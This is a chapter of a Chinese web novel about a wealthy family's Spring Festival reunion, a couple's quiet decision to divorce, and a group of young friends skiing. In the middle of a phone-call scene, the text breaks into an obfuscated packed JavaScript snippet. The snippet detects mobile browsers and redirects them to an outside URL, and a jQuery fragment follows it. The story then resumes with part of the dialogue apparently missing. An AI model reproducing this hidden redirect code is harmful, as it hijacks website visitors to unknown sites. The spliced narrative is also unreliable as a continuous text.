年二十八九,大家陆陆续续都回到了老宅,那有家口的就拖家带口早早出发过来,没家口的反倒潇洒自由拖到最后几天才来,这林林总总加起来竟有一十二人,要是赶巧结了婚的都在这边过年,那就足有十五人了,这还不算各自带回来的老宅里的阿姨们,纪家过年,是非要图个热闹的。
传岚和传人、明礼三人回来时,家里已经热闹的很了,两个小孩子满院子的跑来跑去,累的后面照看的阿姨直不起腰。
传岚问了好后上楼放置东西。
房间还是之前的样子,只是搬去跟姑姑住后这里的东西少了很多。右手旁边是传人的房间,左手边原本是爸妈住的,后面空着浪费就由月朗哥住了。
为了让这个大家庭里的每个人都有自己的独立空间,前几年老宅特意重新装修了一番,把一些使用不高的地方都改成了房间。
一楼原本是爷爷奶奶住的,后面由大伯住,二楼是姑姑和二叔一家在住,三楼由于有一个露天大阳台占了一部分面积,所以只有明德一家在住,旁边挨着的一栋小二层,一楼是餐厅,二楼是月庭一家跟月容一家在住。
月朗哥原本也住那边,不过纪月朗嫌弃小孩子吵闹,就搬过来住了。
年三十晚上,大家吃完饭移到客厅吃茶。纪明仁神神秘秘从房间提出一袋包好的红包,朝着方慧使了个眼色,眉眼含笑地等方慧使人叫来在外面玩烟花的几个小辈,人齐后,清完嗓挨个叫人分发红包。
几个小辈欢欢喜喜的说着吉利话,在纪明仁这里领了红包。明义明礼也紧跟其后分发了红包,大家和和气气的说说笑笑。
“来,岚岚,传人,大姐给你们包的红包。”月容还记得之前说的玩笑话,果真给传岚和传人包了红包。
“不用啦月容姐,我都多大了还收你的红包,收大伯的就已经厚着脸皮了,怎么还能收你的红包呢,我们可是同辈嗳。”
“虽然是同辈,但我已经结婚了,就和你们没结婚的不一样了,况且你每次来都给妞妞带礼物,给你包红包也是做姐姐的一片心意。”
旁边的纪月庭戳了戳媳妇莉娅,莉娅也笑着走来,掏出红包叠在月容的红包上,“你就收下吧小妹,这也是你大哥大姐的一份心意,你和传人作为我们这一辈的老幺,小叔和叔母都不在了,大家多照顾疼爱你们些也是应该的。”
“那我就谢谢大哥大姐了。”传岚简单客气了两句就不再做推辞收下了,掏出了早就准备好的红包,那红包封还有点巧思在上面,是小孩子惯常喜爱的毛绒玩偶布封,“来,这是姑姑给你们准备的红包,妞妞,圆圆。”传岚拿来红包挂在两个小孩脖子上。
“你别看我啊,我可没红包给你。”坐在一边看热闹的乐清吃了瓣橘子说。
“哈哈,你这丫头,传岚还没说话呢,你倒着急撇得快。”纪明仁坐在上座笑着打趣道。
乐清:“我可没大哥大姐钱多,我这十八线小歌手混饱自己都算不错了。”
纪明仁笑到:“我可是听你爸妈说你忙的一年着不了几次家,怎么还没挣到钱,是不是小气。”
乐清:“就是挣不到钱才一年到处乱跑嘛,要是能挣到钱,还不像纪月庭纪月容一样想回家就回家啊。不过嘛,红包没有,倒是可以请传岚他们出去吃好吃的。”
传岚:“过年这几天都吃够了,还出去吃啥啊二姐,等我什么时候嘴馋了再来找你啦。
“还有,二姐就是想给我包,也得要结婚了才可以啊。
“可是二姐,你不是还母单呢嘛。”传岚揶揄二姐。
“嘻嘻,是啊,我还母单呢,所以跟你一样只有收红包的份啦。”
“那我俩要是一直不结婚,岂不是能一直收红包。”传岚顺话说道。
“淘气,哪有人为收红包不结婚的,你们俩早点结婚大伯给你们包个大红包才对。”
“那我早点结婚,爸你给我包多少啊?”纪月朗听闻放下手机凑到跟前问。
“一边去,还给你包,你别折腾光我这几个养老钱我就谢天谢地了还给你包。”
“爸你说这多没意思,我这不是在创业吗,创业初期,谁不是这样。现在是前期投入,等过段时间步入平稳期了,自然会赚回来的。”
“滚蛋,不提还好,一提我就来气,早点倒闭才好,也少些折腾。”
“你也是,这也值得生气,月朗有上进心还不好,那老王家的孩子,跟月朗差不多大,你看他什么样,月朗什么样,我们月朗还是很优秀的,你要多点耐心,给他点时间,年轻人就是要有闯荡精神的。”方慧招手示意纪月朗过来,摸了摸纪月朗的头发,笑着让坐跟前。
纪月朗头靠在母亲方慧肩膀上,撇嘴无声反驳父亲刚才的话,用行动证明方慧替他说的话就是他心中所想。
纪乐清朝着坐过来的纪传岚挤眉弄眼,嗑着瓜子。
传岚笑了笑,也嗑瓜子。
纪明仁:“老王家的不成器,纪月朗就要不成器吗,怎么偏要学坏不学好呢,他站在垃圾堆里发光不是自己多厉害,是因为垃圾衬托的,你搞搞清楚啊。”
方慧有些不高兴:“你说的这是什么话,月朗本来就是好孩子,干嘛要说这么难听的话伤孩子的心。”
纪明仁:“这么大人了,还听不得两句批评吗,这么玻璃心,以后也难成大事。”
“爸,大过年的生气干嘛,月朗已经很好了,你也不要太苛责,你对月朗期望再大,也不能要求他一下就做好,月朗也才工作不久,你就耐心点再等他几年了。”纪月庭抱着小孩出声劝到。
“哼,随他怎么折腾,我才不管。”
一段小插曲,众人也并不在意,偌大的电视上播放着春节联欢晚会的节目,只是鲜有人看,都各自低头玩手机。
“乐清,你学音乐的,挑好听的给我们大家唱几首,大过年的,热闹些嘛。”
“是啊乐清,我听我外甥说你的票还要抢才能买到。”莉娅也说。
纪乐清正想着以什么理由来拒绝家庭表演,一旁坐到打盹的的纪明义听到唱歌,顿时来了兴趣,说道:“想听歌找我啊,我以前也是玩音乐的,虽说丢掉好多年了,但我这底子厚啊,乐清,去拿我的吉他来。”
乐清应了声起身拉着传岚一溜烟跑了。
“明义以前唱歌是挺好听的,只是现在年纪大了,也不知道高音拉不拉的上来,别到时候拉不上来叫乐清笑你。”纪明仁朝着众人笑说道。
“凭我这底子,还有拉不上来的?就是拉不上来那又有什么关系,图个热闹而已。”纪明义并未放在心上,看得出来,只是单纯想唱歌了。
乐清与传岚拿乐器下来,一个简约的舞台已经布置好了,话筒和音响好像是现成的。
明义清了清嗓,问底下的人都想听些什么,明礼和文秋说是就唱二哥拿手的民谣,月容起哄着要听现在的流行歌曲,两个小孩跑到二爷跟前围着要听“太阳花”和“喜羊羊”,一时,众口不一,明义兴头起来,大手一挥:“行,每样都来几首。”
明义在那边唱的高兴,俨然像是进入了自己的舒适区,唱到兴头,还扭了起来,走向文秋,拉着文秋的手当即转了个圈,惹得底下的几个年轻人哦哦的起哄,五十几岁的人了,此时却看不出一点年纪,倒像是个三十来岁的人,既显成熟魅力,又兼动感活力。
方慧看了眼旁边的纪明仁,只见他板板正正靠在椅子上,表情无甚波动,察觉到方慧投射过来的视线时,也只是转过来问了句:“怎么了?”
方慧顿感无趣,回了句没什么就扭回了头。
注意到母亲小动作的莉娅笑着戳了戳月庭,月庭笑着微微摇了摇头,继续给莉娅细心的剥橘子络。
明义唱了几首,还未尽兴,底下的两个小孩就吵着要自己唱幼儿园教的太阳花了。
明义也就把话筒递给了他们,一个唱一个跳的去玩闹了。
传岚见四周不见传人的影,便和姑姑打了招呼上了楼。
“怎么一个人待着,不去下面热闹热闹,刚二叔在唱歌呢。”传岚见传人躺在床上,房间里只一盏昏黄的床头灯亮着。
“不想下去,没什么意思。”传人翻了个身。
传岚无声叹了口气,躺在藤椅上假寐,也不说话。
二人无言,一室寂静。
“躺会就下来走动走动,亮个相,我不想听些烦人的唠叨话,知道了吗?”传岚站起身。
一会儿,传人闷闷地说了句知道了。
传岚留传人一人清净,自己则又下了楼去凑那个热闹。
“传人怎么这会才下来啊,你可错过你二叔唱歌了,快过来,要准备放烟花了。”方慧说。
传岚就那样望着传人,传人随即换了笑脸:“刚给老师同学发新年祝福呢。”
纪明仁起身笑着拍了拍传人的肩膀,“是要跟老师拜个年,做得好传人,懂礼貌,是我们纪家的好孩子。”
一边玩手机的纪月朗看着方慧龇牙咧嘴学话搞怪,方慧笑着点了点他的脑门。
零点的钟声还未响起,外面的烟花却早已按耐不住在神州大地上开满了花。
“这个年过完,我们就去离婚吧。”雨花看着窗外天空中迸发出的颗颗绚烂烟花,轻飘飘的说出了思虑已久的话。
“为什么,我爸妈已经回老家去了,以后没什么事不会再过来的。”
雨花扭过头,看着餐桌上有鱼有肉的饭菜,又看了眼手边摆着的多出来的小碗,终于,将目光落在了对面的男人脸上。
“张勇,你心里清楚,我们走不下去了,虽然你没有说出口,但我知道你心里是怪我的,而我,我也在怨你。”
“我没有,我没有怪过你,我爸已经知道错了,他以后不会再过来了,我们以后过好自己的日子就好了。”
“如果要以生命为代价才能换来你爸的认错改正,那未免太过沉重了。
“算了,不说这了,说了也没意思,就干脆点离了吧,大家彼此轻松点。”
“我是不会离得。”
“随你,离不离的也无所谓,反正我受够了,没想着再结婚,也不会从一个火坑跳到另一个火坑。
“过段时间我就搬出去了,以后没什么事就别联系了吧,大家心里都有刺,没有必要装轻松。”
这二人,像是在讨论明天吃什么一般,语气稀松平常到毫无波澜。
“菜是我炒的,就麻烦你洗下碗了。”说完,雨花就起身回屋了。
张勇看着满满一桌的饭菜,不明白哪一步走错了,他端起碗,挑了一筷子,还是跟之前一样的味道,一点也没变,只是,有些凉了,除了会影响口感外,没任何差别。
水煮鱼、蒜蓉蒸虾、红烧牛腩、红烧牛排、酱牛肉、红烧肉、酸辣鸡爪、蒜蓉金针菇、蒜拍黄瓜、清炒莴笋,张勇一个也没落下,一个也没偏颇,样样都吃到了,这都是他爱吃的菜,他想着雨花在厨房忙了好几个小时呢,不能浪费了,所以即使吃撑了他也没停下。
可是吃饭呢,是要细水长流慢慢吃的,今天吃几样好吃的,明天吃几样家常的,日子才能在期盼着吃好吃的愿景下慢慢过去。若是日日都好吃的一般伺候着,那便好吃的也不再好吃只是家常罢了,待到许久不吃再觉得是好吃的时候哐哐吃,必定是胃里肚里都不舒服。
张勇没忍住跑去卫生间吐了,他心疼一桌的饭菜就这样被自己吐掉浪费了,跪在那呜呜的哭嗷嗷的吐,酸臭的咀嚼物混杂着泪水鼻水一起流入马桶被冲走。
屋外,静谧的客厅里只留下一桌残羹剩饭,那整齐只留给了桌边静静放着的卡通小碗。
三天年一过,就是各种走亲戚,纪家住在一起的好处就是不用走亲戚,省了来回跑的麻烦,只是不见纪明仁轻松,他带着纪月庭纪月朗马不停蹄的四处拜年,访亲问友,忙的脚不沾地。
趁着他们回岳家走亲戚的时候,传岚和传人与乐清倒是组局飞去上海看了场不错的演出,吃了好吃的,要是在回来的路上没有碰见许久未见怒气冲冲的方思域就好了。
纪乐清:“停车。”
不等传岚和传人问出口,乐清就接着说,“我突然想吃冰激凌了,走,传岚,我们下去买来吃。”
“我不吃,太凉了,对胃不好。”
“哈哈,你怎么跟个老太太似得,吃一两个不要紧的,走啦走啦。”
“嗳咦,我不吃,下去陪你买倒是可以,传人你吃吗?”
“吃,帮我带一个,我就不下去了,蓝莓味的昂。”
“老板,想吃的话,我下去买就好了,外面冷。”
“不用张叔,你就开去前面好停车的位置等我们就好了,坐车太久,我们刚好走走活动下。”
“好的。”张师傅听从指令开去前面可以临时停车的地方,熄火等候。
方思域看见纪传岚的时候很惊讶,他没想到居然能在这里碰到将热心肠帮助过他的恩人拉黑删除的人,方思域本来不欲理会这个忘恩负义的人,走到拐弯处却还是不甘心跑过去气冲冲的喊了纪传岚的名字。
纪传岚吓一跳,转身见是方思域,也没生气他的大嗓门,喜气洋洋的就打了个招呼,“哟,是你啊,你怎么也在这啊,好巧。”
方思域看着对方热情洋溢的打招呼,反而气势莫名一下弱了下去,大概是伸手不打笑脸人的缘故,自己也不好意思臭着脸。
“我陪我妈出来买点东西。”
“哦,你早说也是这的人啊,原来咱还是老乡。”
“说什么,您不是早把我拉黑删除了吗,我哪有那机会呐。”
“?什么拉黑删除,你说我吗?”
“不是你是谁,还能是我主动删除你的吗?”
“胡说,我干嘛要删你,等我看下。”纪传岚将买的东西归拢到一起,腾出手拿出手机翻了好几遍确实没找到方思域的微信。
尴尬的挠挠头:“是不是你换头像了,我又没改备注,不小心删的?”
“你又不是不识字,怎么可能。”方思域显然不相信这个理由。
“那我真不知道了,反正我没删你的印象,这样吧,一次是偶然,两次是缘分,在这有心熟人都见不到的茫茫人海里咱俩能再次相遇,那就是缘分,我加你啊。”
“……”
纪传岚将手机又往前伸了点,眉毛上扬:“或者我扫你也行。”
方思域看着纪传岚真诚的表情,相信了可能是他的无心之失,拿出手机扫码的同时再次确认,“真是不小心删的吗,你要是讨厌我就早点说,也不用费这面子功夫加我。”
“我是那样的人吗,真讨厌就不会加了,放心哈。”纪传岚看着通过的信息随手就改了备注。
“这谁啊传岚,你男朋友啊?”乐清提着一堆小玩意过来。
“怎么又买这么多啊二姐,不是就过来吃个冰激凌的吗?”
“好久没这么轻松逛街了,一不小心就都买了,你还没跟我说这谁呢。”
“哦,这是我在美国读研认识的朋友,这是我二姐。”
“二姐好,我叫方思域。”
“哈哈,叫什么二姐,叫我乐清就好了,大家年纪都差不多,互称名号吧。”
“那怎么着,你们是准备再逛会还是有别的计划?”
“没有,就碰到打个招呼,时间也不早了,待会回去还要吃饭呢。”
“OK,那就走吧,你们改天再约啊帅哥,今天我们就先回了。”
几人道别后,站在远处的妇女才缓缓走过来,“女朋友?”
“说什么呢,就一朋友,碰到了打个招呼而已。”
“急着撇清干嘛,我又不反对你交朋友,这个年纪找对象不是很正常的事吗?你不找我才愁呢。”
“走啦,真是,你瞎操心什么呀,这鸡蛋上不长毛的事,都哪跟哪啊。”
纪乐清挂掉电话,放倒座位,躺下去闭目养神。
“明天干什么呢,黎姐催我回去复工了,我只剩两天假期了。”
“明天啊,还不知道呢。”传岚搭话。
“就这么点假,月清姐你这明星当的也不怎么样嘛,一点自由没有。”传人吃着冰激凌随口就说了出来。
“要自由还不简单,今天一辞职,明天立马自由,但你能背负这种自由带来的代价吗传人,反正我不能,当然你还小,不懂工作给人带来的价值。”
“工作不就是换取酬劳的一种方式吗,我怎么不懂。”
“对我来说,这不仅仅是一份工作,我喜欢唱歌并享受这种状态,现在有活干那我就要都接着,谁知道哪天就没活了呢。
“自由,是相对的,某种意义上来讲,我很自由。”
“哦,是因为做的都是自己喜欢做的事,所以很自由吗?”
“是啊,不喜欢的事我也不会去做。”
“明天去老君山怎么样,我看网上说蛮好的,我查了下天气,有可能看到日照金山。”传岚一时也没想到其他想去的地方,刚好刷到老君山的视频,就提了出来。
“可以啊,户外活动也很不错,张叔,待会回去的时候跟宋管家说下,让他出一份详细的计划,顺便把行程安排好传我。”
“好的老板。”
三人回到家简单吃了点都上楼歇着了,传岚躺了会没有睡意便准备下楼溜达溜达喝点水。
“有毛病吧,这种事不提早说,现在才说,还出一份详细计划,这不要时间啊,也不知道还有没有酒店,我去哪给他们看啊,真是讨人厌。”
“行了,少说两句,咱挣得不就是这个钱嘛,要是人家没要求不需要我们,我们才难搞嘞。”
“真是烦人,一到过年就忙的要死,一大群人,哪伺候的过来,要我说,这搬都搬出去了,就在外面过年好了,家里也没个老人,还每次都回来干嘛,也不嫌麻烦。”
“这倒是,说是这边平时住的人少,人太多没事干,这两年陆续已经辞了好几个了,但每逢年节,还不是劳累我们,也就除了跟过去的张巧丽能过来帮点忙,剩下的都是等着伺候的,倒真不如各过各的好。”
“谁说不是呢,我这几天光是忙着整理检查大小纪总要送的礼就够呛了,白日里还要应付这个应付那个的,你说我还哪有那时间做这闲事,这不是给人添麻烦嘛。”
“来,宋管家,喝杯果汁消消气,刚榨的,还新鲜着呢。”
宋知意接过果汁:“我也不是嫌麻烦不想做,主要是这两天真的忙,你说他们哪没去过啊,这周边国家恐怕都飞了个遍吧,怎么又突然想起来去老君山了,国内人这么多,又赶上过年这个点,能有什么好体验,真搞不懂他们怎么想的。”
“说是刷视频刷到老君山的日照金山好看,就想去了,但谁知道呢,说不定就是想体验下人挤人。”
“哈,有钱人的想法真是想一出是一出,算了,我也懒得管他们怎么想,赶紧查下攻略随便出个计划扔出去得了。”
传岚听了听,觉得没什么意思,也不想过去厨房那里互相闹个不好看,谁都有抱怨的权利,便由他们去了,自己则拐去旁边的客厅倒了杯冷茶喝。
传岚觉得他们说的对,其实也没那个必要非得聚在一起过年。
但是,谁管呢,反正传岚又无所谓在哪过年,自然,他才不会在意谁有什么想法。愿意敷衍给个好脸呢,就尽量敷衍下,不愿意敷衍呢,自然有不用敷衍的态度跟说法。
喝完水,传岚清了清嗓子,收拾上楼去了,路过厨房的时候,窸窸窣窣的声音也没了。
传岚一行人本来都出发在路上了,结果乐清接了黎姐的电话后又说不去了,为了不耽误乐清的行程,大家又折返回去。
“抱歉啊传岚,我这边临时有事推不了,其实真的,我可以自己打车回去的,你和传人过去玩就好了,反正酒店什么的都订好了,玩起来也便宜。”
“没事乐清姐,一起回去吧,你一个人也不好打车,我们什么时候想玩再过去了,反正时间上又方便。”
“那我跟宋管家说下把房退了。”
“房也不用退,我有朋友在那玩,刚好之前有事是他帮的忙,我问下他要不要住。”
“好啊,那我就不操心了,你看着办就好。”
乐清既早早过去复工,那传岚二人再待在老宅也觉无趣,便打了招呼带着张嫂先回医馆那边去了,明礼虽说自己怎样都行,却耐不住方慧硬要留他一起去拜访故人。
明礼也就简单嘱托了二人,说是过两日再回去。
距离年假还有两三天的时间,想想还是找点事做的好,便打电话叫了卓雅容巧他们几个去滑雪。
几人在家里也呆的无聊,不愿总待家里与亲戚们虚伪攀扯些婚嫁的话题,这边有人牵头,便一呼百应的应承着出来了。
“哇呼,终于出来了,你是不知道啊传岚,我这几天在家待得有多痛苦,我爸妈搁我跟前天天念叨让我找对象,还有那些亲戚真是没话说啊,凑到一起就是劝人找对象和跟别人比工资,叽叽喳喳说个不停啊,我感觉我像是被一群鸭子包围了。”卓雅抱着传岚就是一顿控诉。
“好啦,你也真是,一见面就开始折磨传岚了是吧,赶紧撒开啦,多大的人了。”容巧掰开了紧紧箍住传岚的卓雅的铁手。
“辛苦雅雅姐了,今天就好好玩玩释放下压力怒气吧。”传岚摸了摸又挂在自己身上的卓雅的头。
这边还在打打闹闹,那边舒华才到,看见大家,一路小跑着过来。
“抱歉啊,打车废了点时间,没迟到很久吧。”舒华停下大口喘气,额头还冒了点细汗。
“早说跟我们一起过来啦,有人开车,我们几个也坐得下。”卓雅走过来说。
传岚掏出包手帕纸递过去:“擦下汗,我们也刚到没多久,先去去汗,别待会进去感冒了。”
舒华道了声谢,笑着说:“没事,我打车过来也是一样的,打车方便。这还是我第一次滑雪呢,本来不好意思答应过来的,但一想尝试下新鲜事物也是好的,就抱着学习的心态过来了,待会你们谁会可要教教我。”
“放心,我也不会,我也是来凑热闹的。”容巧走过来安慰道。
“嘻嘻,我也不会。”卓雅蹦起来附和。
“你不是来过好几次了吗,还没学会吗?”传岚问在那嘻嘻哈哈的卓雅,卓雅笑说,“就会一点皮毛,能自己溜个几米远,四舍五入算不会啦。”
孙立德说:“你真是高看他,他来雪场又不奔着学滑雪来的,就是觉得新奇好玩就过来了,根本没认真学。”
“说得好像你学会了,很会滑一样,既然看不起我,待会给我们大家表演表演,施展下你的才艺啊。”卓雅呛回去。
“你们经常来滑雪啊。”舒华问容巧,容巧说,“也没有经常,就来过几次,传岚姑姑,就是纪明礼纪教授,他喜欢滑雪,在这办了卡,但是医院不让在职医生玩滑雪这种高危活动,传岚觉得放着浪费,就带我们来过几次。”
“一张卡可以带这么多人吗?”舒华不解问道,容巧继续回道:“纪教授办的卡是扣次数的,人多多扣几次也是一样的。”舒华听罢点头表示了解,虽然有搜过套餐价格和内容,没有看见这种包次数的卡,但也没有继续发问,只当套餐取消变化了。
“传人呢,怎么没带传人出来?”赵鹏飞出声问道。
“他在家复习功课呢,传人现在只处于关键时期,不能参与这种危险的活动,考完再带他过来吧。”
“那就,我跟舒华一组,顺便教下他,孙立德和容巧一组,赵鹏飞和卓雅一组,大家滑的时候,会的稍微分神看顾下不会的,滑的时候注意安全,四点半我们原地集合,收拾去吃晚饭哈,没问题大家就先解散吧,先都去寄存下东西,向师兄麻烦你带他们拿下装备。”
说完,赵鹏飞领着大家去租赁购买各自需要的物品。
“你跟着赵鹏飞去,待会我来找你们。”传岚见舒华有些踌躇,直接说明。
“那你呢,需要我帮你也拿装备吗?”
“哈哈,传岚不需要租啦,他经常滑雪的,有自己的装备,我们这偶尔来一两次的,还是租的划算,走啦,你跟我们是一起的。”卓雅带了点戏谑的语调解释道,传岚笑着说,“你跟他们先过去,我待会就过来。”
话说方思域那天听了纪传岚的解释,也就不再计较之前的事了,只是重新有了联系方式,也不见对方发送一条讯息,左思右想,又生出纪传岚在撒谎欺瞒自己的怀疑,刚巧刷到对方去滑雪的朋友圈,真是气极,心想,“既然是朋友,怎么滑雪不叫自己,这是朋友的做法吗?”正想着,发小唐毅打来了电话。
“喂,哦,是你啊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530087|186364||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不出去,烧烤有什么好吃的,又没有滑雪好玩。
“是啊,我想去滑雪,你去不去。”
“不去就挂了,我不想吃烧烤。”
“没有啊,就是看别人滑雪滑的快乐,羡慕怎么了。”
“不要,我一个人去滑多没意思啊。”
“明后天我就不想去了,我就今天有滑雪的兴头,过了今天就没了。”
“好啊,夜场也可以啊,我不嫌弃,滑完就去吃烧烤。”
“已经三点多了,你快定位子,我马上过来找你。”
“唐毅你小子可以啊,今天能想起请我吃饭真不错。”
方思域高高兴兴挂了电话,忙去重新洗漱拾掇自己,好一番收拾后赶着出门赴约,去滑雪场吃烧烤。
舒华因为是第一次来滑雪,还不敢放开,小心翼翼的张不开拳脚,虽然早早做了功课,在网上搜罗了各色视频准备提前学习下,但无奈搜出来关于滑雪的搞笑视频,一不注意就乐呵乐呵的把时间都刷过去了,最后也没有学习到什么滑雪的内容。
传岚拉着舒华,让他放轻松,重心放在板上,目视滑雪的方向。舒华一一照做,在传岚的牵引下也滑的有模有样。只是一点,传岚放开手后,舒华就不敢自己单独滑了,几番鼓励过后,舒华才慢慢放开了些,虽然其中不乏像搞笑视屏里一样摔跤的出糗画面,但总归是学习到了东西。
舒华学得很快,不一会就已经基本掌握了滑雪的基础内容,还学会了换刃,虽说遇到陡坡,速度一快就会横板降速推坡,但基于第一次学习来说,已经相当不错了,传岚也没有要求太多,就让他自己巩固消化刚才学到的东西,多滑几遍,熟练了自然就敢放开滑了。
舒华自己也很高兴,首次就学到这些已经远超自己的预期了,便让传岚自己去痛快滑自己的,不用再管他,传岚应了好便换道去滑自己的。
卓雅那妮还是跟之前几次一样在划水,赵鹏飞刚开始还想着认真教他,可都被卓雅敷衍打发走了,现在基本各滑各的。放眼望去,容巧竟也是一个人在不远处滑,原来是孙立德自己也不会太多,加之不会教学,两人越学越着急,一时起了分歧,孙立德挠挠头撇下一句“我也不会,要不你去找传岚他吧。”直接逃跑了。
于是,因各种原因凑到一起的滑雪初学者三人组相聚在此,倚立在雪道边角位置,手拉手地慢慢滑行,互相分享学到的经验以及归纳的败因。
半个小时后,三人开始以摆拍各种耍酷的照片来作为结束今天滑雪的尾声。
传岚在中级道滑了个把小时,人渐渐多了后滑的就没有那么畅快了,随即转道去了高级道。传岚高级道滑的少,但并非不能在高级道滑,只是想降低可能会摔伤的风险。
待到大家汇合吃饭的时候,等菜间隙,传岚见舒华三人低头修图,才意识到自己一时玩的高兴,竟忘记拍照了,这下没有发圈的图片了。
传岚凑过去,只见舒华修图就是用手机里自带的一键美颜功能,省事又有效,他把拍的十几张照片全部按此功能操作一番然后再选两张最好看的,现在正纠结选哪几张呢。旁边的卓雅和容巧技术则比较高超,他们是在修图软件上修图的,并没有一味地强调肤白,而是选择了扬长避短的适当调整。
坐舒华右手边的容巧修完自己的,看舒华还在纠结,就说:“要不要我帮你修下,我修图还可以,你要是放心的话,可以发我原图。”
手残的舒华巴不得有人能帮自己修呢,以前自己也试过调参数什么的,但是都没有手感,每次调出来的图片都很怪异,一点也不和谐,听到容巧主动开口,激动的不行,马上就传了几张原图过去:“谢谢你啊容巧,你放心大胆的修,怎么都比我修的好看。”
传岚和舒华凑到一起看容巧修图,只见容巧手指灵活的将画面一会放大一会缩小,那些路人就与背后的景物融为一体了,舒华不禁感叹道,“好厉害。对,把我颧骨修一下,我颧骨有点高。”
容巧边修边说:“你这颧骨虽然有点高,但你眼睛大,皮肤白啊还是双眼皮,脸部整体很协调,稍微修一下,也不能修太狠,不然会失真。”
传岚看着酷帅的照片,酸酸地说,“你们什么时候拍的,怎么没通知我给我也拍两张?”
坐旁边的舒华笑着接话:“当时是想给你拍的,只是我们没找着你。”
卓雅听见两人对话,头伸过来说:“我猜他肯定一高兴跑去高级道滑了,在初级道滑是委屈他谦让我们。”
舒华听罢,想着是为教自己,才让传岚在初级道浪费了好多时间,略带不好意思地笑说:“那是我的原因,传岚为教我,才害他没滑好。”
传岚喝口水,笑说:“舒华今天是没涂防晒吗,什么时候这样黑了?”
舒华“啊”了一声忙打开手机的自拍功能,只见和昨日一样并没晒黑。
众人还处在疑惑发懵的状态里,传岚又不紧不慢地抛出一句:“是不是因为卓雅的缘故啊。”
卓雅口快问道:“嗯?他黑关我什么事啊?我又不是太阳。”
传岚笑说:“怎么不关你事,你没听过‘近朱者赤近墨者黑’吗,就是因为你太黑了,搞得舒华都跟你学坏了,说话还一调一调的。”
众人听罢反应过来也是表情不一,有逗笑的,有尬笑的,还有哭笑不得的。虽是没有马上就领会的冷笑话,但是作弄卓雅的话儿,大家也都恶作剧的附和了几句。
卓雅持有不同意见:“他跟我学又没坏处,说话也是一种学问,你说对不对舒华?”,舒华习惯性附和,“你说的对。”
卓雅继续说道:“有时候对方大方不代表我们就能也不拘小节地省略掉客气或礼貌。什么时候该谦虚有礼,什么时候该不拘小节,那也是有说法看时机的,只有这样,大家才能长久相处下去。”
舒华无比赞同卓雅的话,对比相熟已久的卓雅他们,自己才与传岚相识不久,经济不对等的交往,当然可以有传岚卓雅他们那样的大方相处之道,但初始之时,怀着谦虚有礼的态度总是不会出错的万能之法,虽然喜欢这样的朋友,但也不能操之过急,还得徐徐图之,慢慢经营发展的好。
传岚笑说:“好啦,你歪理一大堆,我说不过你。”
“什么歪理,明明就是很有道理。”卓雅得意。
“哈哈,好吧,你说的有道理,收拾吃饭吧,菜都上来了,赵鹏飞他俩呢?”传岚饿了,这俩人还不过来。
“是啊,不是说就去挪个车吗,怎么这么久,我打个电话问下。”容巧有点担心。
正接通电话,没说两句,就看见那俩人一前一后过来了。
俩人走到跟前才坐下,传岚就看见方思域从后面像变戏法一样冒了出来,跟在后面的还有一个不认识的男的。
“哟,好巧啊,在这都能碰到你,你也在这吃饭?”方思域自来熟地从旁边搬来椅子坐下,也不管唐毅,唐毅看了眼方思域,默默无声地在旁边坐下了。
传岚看着眼前的不速之客,笑回:“是挺巧的,你也来滑雪吗,怎么之前没碰见你,你是在哪滑的。”
“我们才到不久,打算先吃个饭再说,你们这好热闹啊,要不拼个桌一起吃算了,也省的我们再纠结吃什么,你看方便吗。
“但是我看你朋友不想凑这个热闹吧,你真的要跟我们一起吃吗?”传岚看了眼坐旁边安静玩手机的男生。
“他不挑的,人多热闹嘛,你说是不是啊唐毅。”
“我都可以,看你。”唐毅收起手机,仰靠在椅背上,长手长脚交错相握,偏头看了俩人一眼,露出耐人寻味的笑容回到。
传岚见对方如此,也不好再直言拒绝,便询问了其他小伙伴,众人皆无异议,便招呼服务员新添了几道菜。
几个年轻人似乎相处的很愉快,尤其是几个男生说着说着还打算待会再去滑夜场,这让原本计划明天下午就返程的计划推迟到了后天。
“你学法律的,我们学医的,都是牛马啊,来加个微信,万一以后有个有个什么需要,咨询费算我便宜点啊思域。”孙立德拿出手机就要扫码。
“承蒙看得起,大家找我咨询都免费,那以后看病可算是有人了,再也不用担心受怕天天跑医院了。”
“小毛病找我们还好,真不舒服,该去医院还是得去医院啊,不能讳疾忌医啊。”赵鹏飞严谨而郑重说道。
“就是些小毛病,这平时不注意有个什么不疼不痒的症状,我们也不懂,去百度呢,一不小心就癌症,要天天跑医院去看呢,一是太费事,二是真去检查反而没什么事,但你要说放着不管,这心里又不落忍,总觉得不放心,一直记挂着。这专业壁垒在这,还真得有几个学医的朋友才好。”方思域回道。
“听你这么说,这学法律的和学医的这么适配啊,要是我去再学个法,那岂不是无敌了。”卓雅饶有兴趣地接话。
“也不是不能,医法双修,天才啊,你看,你懂法就不怕医闹,你会医就不怕被威胁,人生就是不是怕这就是怕那,但你医法双修,既不怕这,也不怕那,简直就是无敌啊。”方思域笑说。
“哈哈,想想确实是这样啊,我们当医生的最怕的不就是医闹嘛,要是懂法的话,就不用受制于人了。”
“我们会受制于人单单是因为不懂法吗雅雅姐?”
“那不然呢?”
“是因为不懂人心啊。”
坐在旁边听方思域侃侃而谈唠个不停的唐毅在听见纪传岚这句话时微微侧目,在场的几人,赵鹏飞木讷,孙立德轻浮,那个叫卓雅的急性子,还有坐里面的容巧老好人,舒华迂讷,还有方思域惦念着的这个纪传岚,看着也像是个两面光。
唐毅面上笑呵呵的虽不显,心里却是给这几人都打了低分,并没有想要主动结交的意愿。
若是没听到纪传岚这句话,他对纪传岚的印象大概就停留定格在见面时的初印象里了。
是的,医闹不是最可怕的,人心才是最可怕的,唐毅跟着自家老爹这么多年所学的一切,都不过围绕“人心”二字。
学习如何看透人心,如何笼络人心,如何利用人心。
但马上,唐毅又熄灭了对纪传岚的兴趣,因为他说“这倒也是。”
“这谁能懂啊,我家猫咪都养八年了,一天对话八百遍,我还是不懂它在想什么,更何况不说真话会撒谎的人呢。”
